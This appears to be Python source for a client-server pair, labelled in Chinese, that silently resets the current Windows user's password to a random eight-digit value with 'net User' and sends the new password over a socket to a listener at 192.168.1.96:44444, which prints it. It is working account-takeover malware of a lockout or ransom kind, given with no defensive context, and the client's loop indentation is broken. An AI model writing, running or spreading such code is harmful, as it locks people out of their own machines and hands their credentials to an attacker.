# 客户端
import socket
import getpass
import subprocess
import random
from .display import display_mothed
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.96',44444)) # todo
user = getpass.getuser()
psd = ""
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
client.send(psd.encode('utf-8'))
back_msg = client.recv(1024)
client.close()
display_mothed()
print(psd)
# 服务端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('192.168.1.96', 44444))
server.listen(5)
print('starting....')
conn, addr = server.accept()
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()